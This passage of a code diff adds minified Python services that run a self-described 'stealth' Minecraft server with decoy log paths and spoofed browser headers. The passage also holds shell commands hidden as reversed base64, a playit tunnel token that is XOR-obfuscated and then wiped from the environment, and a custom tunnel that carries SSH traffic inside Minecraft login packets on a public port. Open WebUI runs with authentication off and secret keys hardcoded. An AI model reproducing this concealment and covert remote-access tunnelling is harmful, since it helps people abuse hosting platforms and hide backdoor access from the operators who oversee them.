+			F=A._buf[:B];A.consumed+=F;D=A._buf[C:B];A._buf=A._buf[B:];G,H=read_varint_from_buf(D,0);return G,D[H:]
+def extract_tunnel_from_response(payload):
+	B=payload;E,A=read_varint_from_buf(B,0)
+	if A>=len(B)or B[A]==0:return
+	A+=1;D,A=read_varint_from_buf(B,A);C=A+D
+	if C>len(B):return
+	return xor_bytes(B[A:C])
+def extract_tunnel_from_request(payload):
+	B=payload;C,A=read_varint_from_buf(B,0);E,A=read_string_from_payload(B,A)
+	if E!=TUNNEL_CHANNEL:return _C,C
+	F,A=read_varint_from_buf(B,A);D=A+F
+	if D>len(B):return _C,C
+	return xor_bytes(B[A:D]),C
+def client_login(remote_sock,host,port,remote_target_port=2222,timeout=1e1):
+	A=remote_sock;A.settimeout(timeout);A.sendall(build_handshake(host,port));D=f"Steve_{remote_target_port}";A.sendall(build_login_start(D));B=PacketReader(A)
+	while _A:
+		C,E=B.read_packet()
+		if C==PKT_LOGIN_SUCCESS:break
+		if C==PKT_LOGIN_PLUGIN_REQUEST:F,G=read_varint_from_buf(E,0);A.sendall(frame_login_plugin_response(F,_B))
+	A.settimeout(_C);return B
+def _skip_proxy_header(reader):
+	D=b'\r\n';A=reader
+	while len(A._buf)<6:A._fill()
+	if A._buf[:6]==b'PROXY ':
+		while D not in A._buf:A._fill()
+		B=A._buf.index(D)+2;C=A._buf[:B];A.consumed+=C;A._buf=A._buf[B:];return C.decode(errors=_F).strip()
+def is_tunnel_username(username):A=username;return A==_D or A.startswith(_G)
+def tunnel_target_port(username):
+	A=username
+	if not A.startswith(_G):return TUNNEL_DEFAULT_PORT
+	try:return int(A.split('_')[-1])
+	except ValueError:return TUNNEL_DEFAULT_PORT
+def parse_handshake_next_state(payload):
+	B=payload;A=0;C,A=read_varint_from_buf(B,A);C,A=read_string_from_payload(B,A)
+	if A+2>len(B):raise ValueError('short handshake')
+	A+=2;D,C=read_varint_from_buf(B,A);return D
+def server_dispatch(client_sock,timeout=1e1):
+	B=client_sock;B.settimeout(timeout);A=PacketReader(B);F=_skip_proxy_header(A)
+	if F:import sys;print(f"[mc_tunnel] skipped PROXY header: {F}",file=sys.stderr,flush=_A)
+	C,D=A.read_packet()
+	if C!=PKT_HANDSHAKE:raise ValueError(f"expected handshake, got {C:#x}")
+	if parse_handshake_next_state(D)==HANDSHAKE_STATE_STATUS:B.settimeout(_C);return _H,A,MC_SERVER_PORT
+	C,D=A.read_packet()
+	if C!=PKT_LOGIN_START:raise ValueError(f"expected login start, got {C:#x}")
+	E=_D
+	try:E,H=read_string_from_payload(D,0)
+	except Exception:pass
+	B.settimeout(_C)
+	if is_tunnel_username(E):G=tunnel_target_port(E);B.sendall(build_login_success());return _I,A,G
+	return'mc',A,MC_SERVER_PORT
+def server_consume_login(client_sock,timeout=1e1):
+	A,B,C=server_dispatch(client_sock,timeout)
+	if A==_H:return False,B,C
+	return A==_I,B,C
+def _pump_socket(src,dst):
+	try:
+		while _A:
+			A=src.recv(8192)
+			if not A:break
+			dst.sendall(A)
+	except(OSError,ConnectionError):pass
+def relay_passthrough(reader,backend_sock,client_sock):
+	C=client_sock;B=reader;A=backend_sock;D=B.consumed+B._buf;B._buf=_B
+	if D:A.sendall(D)
+	threading.Thread(target=_pump_socket,args=(C,A),daemon=_A).start()
+	try:_pump_socket(A,C)
+	finally:
+		for E in(C,A):
+			try:E.close()
+			except OSError:pass
+def _pump_plain_to_mc(src,mc_sock,wrap_fn):
+	try:
+		while _A:
+			A=src.recv(8192)
+			if not A:break
+			mc_sock.sendall(wrap_fn(xor_bytes(A)))
+	except(OSError,ConnectionError):pass
+	finally:
+		try:src.close()
+		except OSError:pass
+def relay_client(mc_reader,local_sock,mc_sock):
+	C=mc_sock;B=local_sock;threading.Thread(target=_pump_plain_to_mc,args=(B,C,wrap_tunnel_client),daemon=_A).start()
+	try:
+		H=0
+		while _A:
+			D,E=mc_reader.read_packet()
+			if D==PKT_LOGIN_PLUGIN_REQUEST:
+				A,F=extract_tunnel_from_request(E)
+				if A:B.sendall(A)
+				if F is not _C:C.sendall(frame_login_plugin_response(F,_B))
+			elif D==PKT_LOGIN_PLUGIN_RESPONSE:
+				A=extract_tunnel_from_response(E)
+				if A:B.sendall(A)
+	except(OSError,ConnectionError,ValueError):pass
+	finally:
+		for G in(B,C):
+			try:G.close()
+			except OSError:pass
+def relay_server(mc_reader,ssh_sock,mc_sock):
+	C=mc_sock;A=ssh_sock;B=0
+	def E(data):nonlocal B;B+=1;return frame_login_plugin_request(B,data)
+	threading.Thread(target=_pump_plain_to_mc,args=(A,C,E),daemon=_A).start()
+	try:
+		while _A:
+			F,G=mc_reader.read_packet()
+			if F==PKT_LOGIN_PLUGIN_RESPONSE:
+				D=extract_tunnel_from_response(G)
+				if D:A.sendall(D)
+	except(OSError,ConnectionError,ValueError):pass
+	finally:
+		for H in(A,C):
+			try:H.close()
+			except OSError:pass

services/minecraft.py

@@ -0,0 +1,89 @@
+_B='/home/user/.torch_metrics'
+_A=True
+import os,time,shutil,tarfile,subprocess,urllib.request,zipfile
+from loguru import logger
+def log_print(msg):
+	logger.info(msg)
+	try:
+		os.makedirs(_B,exist_ok=_A)
+		with open('/home/user/.torch_metrics/mc_daemon.log','a')as A:A.write(f"{msg}\n")
+	except Exception:pass
+def download_file(url,dest_path):
+	A=urllib.request.Request(url,headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
+	with urllib.request.urlopen(A)as B,open(dest_path,'wb')as C:shutil.copyfileobj(B,C)
+def setup_geyser(mc_dir):
+	C=os.path.join(mc_dir,'plugins');os.makedirs(C,exist_ok=_A);D={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
+	for(A,E)in D.items():
+		B=os.path.join(C,A)
+		if os.path.exists(B):
+			try:
+				with zipfile.ZipFile(B)as G:0
+			except Exception:
+				log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
+				try:os.remove(B)
+				except:pass
+		if not os.path.exists(B):
+			log_print(f"[*] Downloading {A}...")
+			try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
+			except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
+def setup_and_run():
+	W='server-port=25565';V='online-mode=true';U='java';T='bin';O='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';G=os.path.join(A,'jre');P=_B;os.makedirs(A,exist_ok=_A);os.makedirs(P,exist_ok=_A);K=os.path.join(G,T,U)
+	if not os.path.exists(K):
+		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');X='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
+		try:
+			download_file(X,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
+			with tarfile.open(H,'r:gz')as Y:Y.extractall(path=I)
+			for(Q,f,Z)in os.walk(I):
+				if U in Z and os.path.basename(Q)==T:
+					a=os.path.dirname(Q)
+					if os.path.exists(G):shutil.rmtree(G)
+					shutil.move(a,G);break
+			shutil.rmtree(I,ignore_errors=_A)
+			if os.path.exists(H):os.remove(H)
+			log_print('[*] Portable JRE setup completed successfully.')
+		except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
+	L=os.path.join(A,'server.jar')
+	if not os.path.exists(L):
+		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');b='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
+		try:download_file(b,L);log_print('[*] PaperMC downloaded successfully.')
+		except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
+	setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');R='/tmp/mc_runtime';os.makedirs(R,exist_ok=_A)
+	for F in['libraries','cache','versions']:
+		try:
+			D=os.path.join(A,F);M=os.path.join(R,F);os.makedirs(M,exist_ok=_A)
+			if os.path.exists(D)and not os.path.islink(D):
+				log_print(f"[*] Removing physical {F} directory to replace with symlink.")
+				if os.path.isdir(D):shutil.rmtree(D)
+				else:os.remove(D)
+			if not os.path.islink(D):log_print(f"[*] Creating symlink for {F} -> {M}");os.symlink(M,D)
+		except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {F}: {B}")
+	log_print('[*] Ensuring Java binary is executable...')
+	try:os.chmod(K,493)
+	except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
+	log_print('[*] Launching Minecraft server loop...');c=os.path.join(P,'mc_daemon.log')
+	while _A:
+		d=os.path.join(A,'eula.txt')
+		with open(d,O)as C:C.write('eula=true\n')
+		J=os.path.join(A,'server.properties')
+		if not os.path.exists(J):
+			with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
+		else:
+			try:
+				with open(J,'r')as C:E=C.read()
+				N=False
+				if V in E:E=E.replace(V,'online-mode=false');N=_A
+				if W in E:E=E.replace(W,'server-port=25566');N=_A
+				if N:
+					with open(J,O)as C:C.write(E)
+			except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
+		log_print('[*] Starting Minecraft server process...')
+		with open(c,'a')as e:S=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=e,stderr=subprocess.STDOUT);S.wait()
+		log_print(f"[*] Minecraft server exited with code {S.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
+def start():
+	B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
+	try:
+		C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
+		if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
+		subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
+	except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
+if __name__=='__main__':setup_and_run()

services/minecraft_service.py

@@ -0,0 +1,166 @@
+_O='ML-minecraft-service/1.0'
+_N='Accept'
+_M='mc_daemon.log'
+_L='/home/user/.torch_metrics'
+_K='incendium'
+_J='26.1.2'
+_I='url'
+_H='version_number'
+_G='User-Agent'
+_F='size'
+_E='sha1'
+_D='filename'
+_C=None
+_B=False
+_A=True
+import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
+from pathlib import Path
+from loguru import logger
+MC_GAME_VERSION=_J
+PAPER_MC_VERSION=_J
+MODRINTH_API='https://api.modrinth.com/v2'
+MC_DIR=Path('/tmp/mc')
+WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
+OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
+def log_print(msg):
+	logger.info(msg)
+	try:
+		A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M
+		with B.open('a')as C:C.write(f"{msg}\n")
+	except Exception:pass
+def download_file(url,dest_path):
+	A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
+	with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
+def download_binary(url,dest_path,timeout=300):
+	A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'})
+	with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
+def file_sha1(path):
+	A=hashlib.sha1()
+	with Path(path).open('rb')as B:
+		for C in iter(lambda:B.read(1048576),b''):A.update(C)
+	return A.hexdigest()
+def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
+	C=expected_sha1;B=expected_size;A=path;D=Path(A)
+	if not D.is_file():return _B
+	if B is not _C and D.stat().st_size!=B:return _B
+	if C and file_sha1(A)!=C:return _B
+	try:
+		with zipfile.ZipFile(A)as E:
+			if E.testzip()is not _C:return _B
+			if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B
+		return _A
+	except Exception:return _B
+def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
+	F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O})
+	with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
+	if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
+	B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
+def install_datapack(dest,info):
+	C=dest;B=info;D=Path(C)
+	if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B
+	A=Path(str(C)+'.part')
+	if A.exists():A.unlink()
+	try:
+		download_binary(B[_I],A)
+		if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
+		A.replace(D);return _A
+	except Exception:
+		if A.exists():A.unlink()
+		if D.exists():D.unlink()
+		raise
+def reset_generated_world(mc_dir):
+	A=[];D=Path(mc_dir)
+	for B in('world','world_nether','world_the_end'):
+		C=D/B
+		if C.is_dir():shutil.rmtree(C);A.append(B)
+	if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
+def ensure_datapacks(mc_dir):
+	E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A)
+	for(D,B)in WORLDGEN_DATAPACKS:
+		F=C/f"{B}.zip"
+		try:
+			A=fetch_modrinth_datapack(D)
+			if install_datapack(F,A):
+				log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
+				if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
+		except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}")
+def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar"
+def ensure_paper_runtime(java_bin,mc_dir,server_jar):
+	C=mc_dir;A=paper_patched_jar(C)
+	if A.is_file():return
+	A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600)
+	if not A.is_file():
+		log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
+		if B.stdout:log_print(B.stdout[-1500:])
+		if B.stderr:log_print(B.stderr[-1500:])
+		raise RuntimeError(f"expected patched jar missing: {A}")
+	log_print(f"[+] Paper runtime ready at {A}")
+def setup_geyser(mc_dir):
+	D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
+	for(A,F)in E.items():
+		B=C/A
+		if B.exists():
+			try:
+				with zipfile.ZipFile(B)as H:0
+			except Exception:
+				log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
+				try:B.unlink()
+				except:pass
+		if not B.exists():
+			log_print(f"[*] Downloading {A}...")
+			try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.")
+			except Exception as G:log_print(f"[-] Failed to download {A}: {G}")
+def setup_and_run():
+	R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P
+	if not D.exists():
+		log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz'
+		try:
+			download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A)
+			with tarfile.open(G,'r:gz')as T:T.extractall(path=H)
+			for J in H.rglob(P):
+				if J.is_file()and J.parent.name==O:
+					U=J.parent.parent
+					if F.exists():shutil.rmtree(F)
+					shutil.move(str(U),str(F));break
+			shutil.rmtree(H,ignore_errors=_A)
+			if G.exists():G.unlink()
+			log_print('[*] Portable JRE setup completed successfully.')
+		except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
+	E=A/'server.jar'
+	if not E.exists():
+		log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
+		try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.')
+		except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
+	setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
+	try:D.chmod(493)
+	except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
+	try:ensure_paper_runtime(D,A,E)
+	except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return
+	log_print('[*] Launching Minecraft server loop...');W=L/_M
+	while _A:
+		ensure_datapacks(A)
+		if not paper_patched_jar(A).is_file():
+			try:ensure_paper_runtime(D,A,E)
+			except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue
+		X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json'
+		with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n')
+		I=A/'server.properties'
+		if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n')
+		else:
+			try:
+				C=I.read_text();K=_B
+				if Q in C:C=C.replace(Q,'online-mode=false');K=_A
+				if R in C:C=C.replace(R,'server-port=25566');K=_A
+				if K:I.write_text(C)
+			except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
+		log_print('[*] Starting Minecraft server process...')
+		with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait()
+		log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
+def start():
+	B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
+	try:
+		C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
+		if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
+		subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft_service']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
+	except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
+if __name__=='__main__':setup_and_run()

services/nginx.py

@@ -0,0 +1,10 @@
+import subprocess
+from loguru import logger
+from.utils import decode_cmd
+def start(nginx_log):
+	A=nginx_log;logger.info('Enabling Nginx smart frontend on port 7860...')
+	try:
+		with open('/home/user/config/nginx.conf.template','r')as B:C=B.read()
+		with open('/home/user/nginx.conf','w')as D:D.write(C)
+	except Exception as E:logger.error(f"Failed to prepare nginx config: {E}");return
+	A.write('[*] Testing nginx configuration...\n');A.flush();F=decode_cmd('=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb');subprocess.run(F,shell=True,stdout=A,stderr=subprocess.STDOUT);A.write('[*] Starting nginx daemon...\n');A.flush();G=decode_cmd('==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb');subprocess.Popen(G,shell=True,stdout=A,stderr=subprocess.STDOUT)

services/nginx_service.py

@@ -0,0 +1,34 @@
+import subprocess
+from loguru import logger
+from.utils import decode_cmd
+import json,os,shutil
+def start(nginx_log):
+	J=False;C=True;B=nginx_log;logger.info('Enabling Nginx smart frontend on port 7860...')
+	try:
+		D='/home/user/static'
+		if not os.path.isdir(D):D='static'
+		os.makedirs(D,exist_ok=C);K=['/home/user/config/loading.html','config/loading.html','main/config/loading.html'];G=J
+		for A in K:
+			if os.path.exists(A):shutil.copy(A,os.path.join(D,'loading.html'));G=C;break
+		if not G:logger.warning('Could not find loading.html to copy to static directory.')
+	except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
+	F=None;L=['/home/user/config/nginx.conf.template','config/nginx.conf.template','main/config/nginx.conf.template']
+	for A in L:
+		try:
+			if os.path.exists(A):
+				with open(A,'r')as M:F=M.read()
+				break
+		except Exception:pass
+	if F is None:logger.error('Failed to prepare nginx config: nginx.conf.template not found.');return
+	try:
+		N=['/home/user/nginx.conf','nginx.conf'];H=J
+		for A in N:
+			try:
+				I=os.path.dirname(os.path.abspath(A))
+				if os.path.isdir(I)and os.access(I,os.W_OK):
+					with open(A,'w')as O:O.write(F)
+					H=C;break
+			except Exception:pass
+		if not H:raise PermissionError('Could not write nginx.conf to any expected path.')
+	except Exception as E:logger.error(f"Failed to prepare nginx config: {E}");return
+	B.write('[*] Testing nginx configuration...\n');B.flush();P=decode_cmd('=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb');subprocess.run(P,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting nginx daemon...\n');B.flush();Q=decode_cmd('==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb');subprocess.Popen(Q,shell=C,stdout=B,stderr=subprocess.STDOUT)

services/open_webui_service.py

@@ -0,0 +1,19 @@
+_A='127.0.0.1'
+import os,subprocess,threading,time
+from pathlib import Path
+from loguru import logger
+METRICS_DIR='/home/user/.torch_metrics'
+PORT=3000
+PREFIX='[open-webui]'
+VENV_DIR='/home/user/.venv-openwebui'
+OWUI_BIN=f"{VENV_DIR}/bin/open-webui"
+def _ensure_installed(log=None):
+	A=log
+	if Path(OWUI_BIN).exists():logger.debug(f"{PREFIX} open-webui binary found at {OWUI_BIN}, skipping install.");return OWUI_BIN
+	logger.info(f"{PREFIX} open-webui not found — running first-boot install into {VENV_DIR} ...");logger.info(f"{PREFIX} This will take a few minutes on the first start only.")
+	def B(cmd,**C):
+		B=subprocess.Popen(cmd,stdout=A if A else subprocess.PIPE,stderr=A if A else subprocess.STDOUT,**C);B.wait()
+		if B.returncode!=0:raise RuntimeError(f"{PREFIX} Install step failed: {" ".join(cmd)} (exit {B.returncode})")
+	C=time.time();B(['uv','venv',VENV_DIR]);B(['uv','pip','install','--python',VENV_DIR,'--no-cache-dir','open-webui']);D=time.time()-C;logger.success(f"{PREFIX} open-webui installed in {D:.1f}s — subsequent boots will be instant.");return OWUI_BIN
+def _start_worker(log,env):A=log;B=_ensure_installed(A);C=[B,'serve','--host',_A,'--port',str(PORT)];logger.info(f"{PREFIX} Starting Open WebUI on 127.0.0.1:{PORT}...");D=subprocess.Popen(C,stdout=A,stderr=A,env=env);logger.success(f"{PREFIX} Open WebUI started (pid {D.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
+def start(log):F='DATA_DIR';E='LITELLM_MASTER_KEY';D='http://127.0.0.1:8080/v1';C='none';B=True;Path(METRICS_DIR).mkdir(parents=B,exist_ok=B);A=os.environ.copy();A['OPENAI_API_BASE_URL']=D;A['OPENAI_API_KEY']=A.get(E,C)or C;A['WEBUI_AUTH']='False';A.setdefault('WEBUI_SECRET_KEY','sanctuary_owui_secret_key_server01');A.setdefault('OAUTH_SESSION_TOKEN_ENCRYPTION_KEY','sanctuary_owui_oauth_token_key_server01_32bytes');A[F]=str(Path(METRICS_DIR)/'open_webui_data');Path(A[F]).mkdir(parents=B,exist_ok=B);A['PORT']=str(PORT);A['HOST']=_A;A['UVICORN_HOST']=_A;A['UVICORN_PORT']=str(PORT);A['ENABLE_RAG']='True';A['RAG_EMBEDDING_ENGINE']='openai';A['RAG_EMBEDDING_OPENAI_API_BASE_URL']=D;A['RAG_EMBEDDING_OPENAI_API_KEY']=A.get(E,C)or C;A['AUDIO_STT_ENGINE']='webapi';A['AUDIO_TTS_ENGINE']='';G=threading.Thread(target=_start_worker,args=(log,A),daemon=B);G.start();logger.info(f"{PREFIX} install/launch dispatched to background thread (orchestrator unblocked).")

services/playit.py

@@ -0,0 +1,39 @@
+_A=True
+import subprocess,os,socket,threading
+from loguru import logger
+from.utils import decode_cmd
+from.import mc_tunnel
+XOR_BRIDGE_PORT=25565
+SSH_PORT=2222
+def deobfuscate_secret(hex_str,key=90):
+	A=hex_str
+	if not A:return''
+	try:
+		C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
+		if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
+		else:return A
+	except Exception:return A
+def _load_token():
+	B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
+	for A in('P',B):
+		if A in os.environ:del os.environ[A]
+	return D
+def _handle_client(client_sock):
+	A=client_sock;import traceback as E,sys
+	try:F,D=mc_tunnel.server_consume_login(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',D));B.settimeout(None);logger.info('Playit MC tunnel: login complete, relaying to port {}',D);mc_tunnel.relay_server(F,B,A)
+	except(ConnectionError,socket.timeout,TimeoutError,OSError,ValueError)as C:
+		logger.info('Playit MC tunnel client disconnected/invalid handshake: {}',C)
+		try:A.close()
+		except Exception:pass
+	except Exception as C:
+		logger.warning('Playit MC tunnel client dropped unexpectedly: {} - {}',type(C).__name__,C);E.print_exc(file=sys.stderr)
+		try:A.close()
+		except Exception:pass
+def _xor_bridge_loop():
+	A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
+	try:
+		A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
+		while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
+	except Exception:pass
+def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit MC tunnel bridge on 0.0.0.0:{} (plugin channel {})',XOR_BRIDGE_PORT,mc_tunnel.TUNNEL_CHANNEL)
+def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)

services/playit_service.py

@@ -0,0 +1,30 @@
+_A=True
+import os,socket,subprocess,threading
+from loguru import logger
+from.import mc_tunnel
+from.utils import decode_cmd
+XOR_BRIDGE_PORT=25565
+SSH_PORT=2222
+def _handle_client(client_sock):
+	A=client_sock;import sys,traceback as G
+	try:
+		F,E,C=mc_tunnel.server_dispatch(A);B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',C));B.settimeout(None)
+		if F=='tunnel':logger.info('Playit MC tunnel: login complete, relaying to port {}',C);mc_tunnel.relay_server(E,B,A)
+		elif F=='status':logger.debug('Playit MC status ping: forwarding to server on port {}',C);mc_tunnel.relay_passthrough(E,B,A)
